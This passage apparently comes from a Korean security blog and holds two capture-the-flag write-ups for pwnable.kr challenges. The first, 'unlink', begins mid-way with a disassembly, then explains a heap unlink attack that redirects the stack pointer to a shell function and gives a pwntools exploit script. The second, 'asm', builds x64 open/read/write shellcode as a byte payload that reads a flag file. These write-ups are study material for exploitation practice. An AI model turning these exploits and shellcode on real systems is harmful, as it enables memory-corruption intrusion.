   0x08048550 <+33>:    sub    esp,0xc
   0x08048553 <+36>:    push   0x10
   0x08048555 <+38>:    call   0x80483a0 <malloc@plt>
   0x0804855a <+43>:    add    esp,0x10
   0x0804855d <+46>:    mov    DWORD PTR [ebp-0x14],eax
   0x08048560 <+49>:    sub    esp,0xc
   0x08048563 <+52>:    push   0x10
   0x08048565 <+54>:    call   0x80483a0 <malloc@plt>
   0x0804856a <+59>:    add    esp,0x10
   0x0804856d <+62>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048570 <+65>:    sub    esp,0xc
   0x08048573 <+68>:    push   0x10
   0x08048575 <+70>:    call   0x80483a0 <malloc@plt>
   0x0804857a <+75>:    add    esp,0x10
   0x0804857d <+78>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048580 <+81>:    mov    eax,DWORD PTR [ebp-0x14]
   0x08048583 <+84>:    mov    edx,DWORD PTR [ebp-0xc]
   0x08048586 <+87>:    mov    DWORD PTR [eax],edx
   0x08048588 <+89>:    mov    edx,DWORD PTR [ebp-0x14]
   0x0804858b <+92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804858e <+95>:    mov    DWORD PTR [eax+0x4],edx
   0x08048591 <+98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048594 <+101>:   mov    edx,DWORD PTR [ebp-0x10]
   0x08048597 <+104>:   mov    DWORD PTR [eax],edx
   0x08048599 <+106>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0804859c <+109>:   mov    edx,DWORD PTR [ebp-0xc]
   0x0804859f <+112>:   mov    DWORD PTR [eax+0x4],edx
   0x080485a2 <+115>:   sub    esp,0x8
   0x080485a5 <+118>:   lea    eax,[ebp-0x14]
   0x080485a8 <+121>:   push   eax
   0x080485a9 <+122>:   push   0x8048698
   0x080485ae <+127>:   call   0x8048380 <printf@plt>
   0x080485b3 <+132>:   add    esp,0x10
   0x080485b6 <+135>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485b9 <+138>:   sub    esp,0x8
   0x080485bc <+141>:   push   eax
   0x080485bd <+142>:   push   0x80486b8
   0x080485c2 <+147>:   call   0x8048380 <printf@plt>
   0x080485c7 <+152>:   add    esp,0x10
   0x080485ca <+155>:   sub    esp,0xc
   0x080485cd <+158>:   push   0x80486d8
   0x080485d2 <+163>:   call   0x80483b0 <puts@plt>
   0x080485d7 <+168>:   add    esp,0x10
   0x080485da <+171>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:   add    eax,0x8
   0x080485e0 <+177>:   sub    esp,0xc
   0x080485e3 <+180>:   push   eax
   0x080485e4 <+181>:   call   0x8048390 <gets@plt>
   0x080485e9 <+186>:   add    esp,0x10
   0x080485ec <+189>:   sub    esp,0xc
   0x080485ef <+192>:   push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    esp,0x10
   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret
End of assembler dump.

main 함수 끝자락을 보면 lea esp, [ecx-0x4]가 있고 그다음 ret을 통해 esp가 가리키고 있는 스택 탑이 eip에 pop 된다. 조금 더 위를 보면 mov ecx, DWORD PTR [ebp-0x4]이므로 ecx는 결국 [ebp-0x4]가 가리키고 있는 부분의 값이다. 즉, ebp-0x4 위치의 값 - 4바이트 만큼의 값이 esp에 저장되어 스택 탑의 주소가 아예 바뀌게 되버리고, 바뀐 부분의 주소가 가리키는 값을 pop하게 되는 것이다.

 

즉 다시 한번 더 쉽게 생각해보면, ecx-0x4의 값이 shell() 함수의 주소 값을 저장하고 있는 부분의 주소이면 될 것 같다.

 

우리는 A의 버퍼를 조작할 수 있기 때문에, 다음과 같이 조작을 해보도록하자

 

A->buf = shell() 주소(4byte)

B->fd = ebp-0x8

B->bk = A->buf + 0x4

 

이렇게 조작했을 경우,

 

FD = B->fd

BK = B->bk

 

이므로 FD->bk = BK에 의해

*(ebp-0x8+0x4) = *(ebp - 0x4) = A->buf + 0x4가 되고

BK->fd = FD에 의해

*(A->buf+0x4) = ebp-0x8이 된다(이 부분은 중요하지 않다)

 

그렇게 되면 ebp-0x4가 가리키는 부분에 A->buf 주소 + 0x4의 값이 들어가게 되고, 최종적으로 ecx-0x4의 값은 A->buf 주소가 되어, esp에 A->buf의 주소가 저장되게 되고, ret에서 eip에 shell() 함수의 주소가 저장되어 실행 흐름을 변조할 수 있다.

 

익스플로잇 코드는 다음과 같다.

 

 

from pwn import *

p = process("/home/unlink/unlink")

stack_leak = p.recvline()
heap_leak = p.recvline()

stack_leak = stack_leak[-9:]
heap_leak = heap_leak[-8:]
shell_addr = p32(0x80484eb)

stack_leak = p32(int(stack_leak, 16) + 0xC)
heap_leak = p32(int(heap_leak, 16) + 0xC)

print(stack_leak)
print(heap_leak)

payload = shell_addr + "A"*12 + stack_leak + heap_leak

p.sendline(payload)
p.interactive()

stack_leak은 ebp-0x14 부분이기 때문에, ebp-0x8과 0xC만큼 차이가 나서 더해주었다.

마찬가지로 heap_leak은 A의 시작 부분인데, A->buf+0x4와는 0xC만큼 차이가 나서 더해주었다.

shell 함수의 주소는 gdb로 확인했다

 

 

'pwn' 카테고리의 다른 글

pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - asm  (0) 2020.07.22
pwnable.kr - memcpy  (0) 2020.07.21
pwnable.kr - uaf  (0) 2020.07.21

해설

Mommy! I think I know how to make shellcodes

 

쉘코드를 만드는 문제이다. asm.c 코드를 보면, open, read, write 시스템 콜만을 사용하여 flag 값을 얻어내라고 되어 있다.

 

x64 쉘코드는 시스템 콜을 syscall 명령어를 통해 사용할 수 있다. syscall은 fast system call을 위한 명령어로, rax 레지스터에 시스템 콜 번호를 넣어주고, rdi, rsi, rdx, r10, r8, r9에 차례대로 인자를 넣어주면 된다.

 

자 이제 대충 어떻게 쉘코드를 짤지 큰그림을 그려보자. flag 파일을 open하고, read해서 메모리에 flag 값을 쓰고, write를 통해 표준 출력에다 뿌려주면 간단하게 끝날 것 같다. 그럼 이대로 x64 어셈을 짜보도록 하자. 참고로 어셈 코딩에는 여러가지 방법이 있고, 일반적으로 nasm을 이용해서 코드를 짜고 테스트해 볼 수 있는데 숙련된 사람들은 그냥 어셈 명령어 바이트를 외워서 코딩하기도하고(미친짓이다) 나는 귀찮아서 그냥 온라인 어셈블러를 썼다.(https://defuse.ca/online-x86-assembler.htm#disassembly) 해당 사이트는 어셈블리 코드를 짜면 이를 바이트로 변환해주고, 혹은 바이트를 입력하면 이를 어셈블리 코드로 디스어셈블 해주는 사이트이다. 간단한 어셈 코딩을 할 때 매우 편리하니까 유용하게 쓸 수 있다.

 

내가 짠 어셈 코드는 다음과 같다.

0:  48 c7 c7 00 41 41 41    mov    rdi,0x41414100
7:  48 c7 c6 00 00 00 00    mov    rsi,0x0
e:  48 c7 c2 00 00 00 00    mov    rdx,0x0
15: 48 c7 c0 02 00 00 00    mov    rax,0x2
1c: 0f 05                   syscall
1e: 49 89 c0                mov    r8,rax
21: 48 89 c7                mov    rdi,rax
24: 48 c7 c6 80 47 41 41    mov    rsi,0x41414780
2b: 48 c7 c2 64 00 00 00    mov    rdx,0x64
32: 48 c7 c0 00 00 00 00    mov    rax,0x0
39: 0f 05                   syscall
3b: 48 c7 c7 01 00 00 00    mov    rdi,0x1
42: 48 c7 c6 80 47 41 41    mov    rsi,0x41414780
49: 48 c7 c2 64 00 00 00    mov    rdx,0x64
50: 48 c7 c0 01 00 00 00    mov    rax,0x1
57: 0f 05                   syscall

첫번째 syscall은 open으로, rdi에 파일 이름이 들어갈 부분의 주소를 넣어주었다. 이 후 rax로 리턴될 fd를 r8에 저장해두고, 그대로 read해서 0x41414780 부분에 flag 값을 저장하도록 했다. 참고로 우리에게 허락된 메모리 공간은 코드를 확인해 보면0x41414000~0x41414FFF 까지, 총 0x1000 만큼이다. 이를 염두에 두고 데이터를 저장하지 않으면 세그폴트가 발생한다. 그리고 마지막으로 write를 통해 표준 출력에 flag를 뿌리도록 했다. open, read, write의 시스템 콜 번호는 각각 2, 0, 1 이다. x86과 x64의 시스템 콜 번호가 다르기 떄문에 유의해야 한다.

 

이렇게 코딩을하고 난 후, 문제에 포함된 stub코드(레지스터를 0으로 초기화 하는 코드이다)와 내 코드를 합쳐서 바이트 수를 확인해 보면 134바이트이다. 파일 이름 문자열을 0x41414100 부분에 저장할 것이기 때문에, 쉘코드 페이로드에 일정 부분 패딩을 더해준 후, 문자열을 넣어주어야 한다. 따라서 0x100 바로 앞인 0xFF, 즉 255 바이트 - 134 바이트 = 122 바이트 만큼의 nop 패딩을 해주고 그 뒤에 파일 문자열을 넣으면 된다. 파일 문자열을 넣을 때 주의할 점은 문자열 뒤에 널 바이트를 넣어주어야 open에서 제대로 c string으로 인식한다는 것이다. 현재는 메모리 공간이 전부 0x90 바이트로 세팅되어 있기 때문에, 확실히 널 바이트를 넣어주어 문자열의 끝을 표시해주어야 한다.

 

따라서 완성된 페이로드는 다음과 같다.

 

python -c 'print "\x48\xC7\xC7\x00\x41\x41\x41\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x49\x89\xC0\x48\x89\xC7\x48\xC7\xC6\x80\x47\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x80\x47\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"+ "\x90"*121 + "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong" + \x00'

 

nc에 연결하기전에 로컬에 있는 바이너리에 테스트해보면, 가짜 flag가 잘 출력 되는 것을 확인할 수 있다.

 

원래 쉘코드는 문자열 관련 취약점을 많이 이용하기 때문에 널 바이트 없이 쉘코드를 짜는 편인데, 본 문제는 그러한 경우는 아니기 때문에 신경 쓰지 않았다.

'pwn' 카테고리의 다른 글

pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04
pwnable.kr - memcpy  (0) 2020.07.21
pwnable.kr - uaf  (0) 2020.07.21
pwnable.kr - cmd2  (0) 2020.07.20

+ Recent posts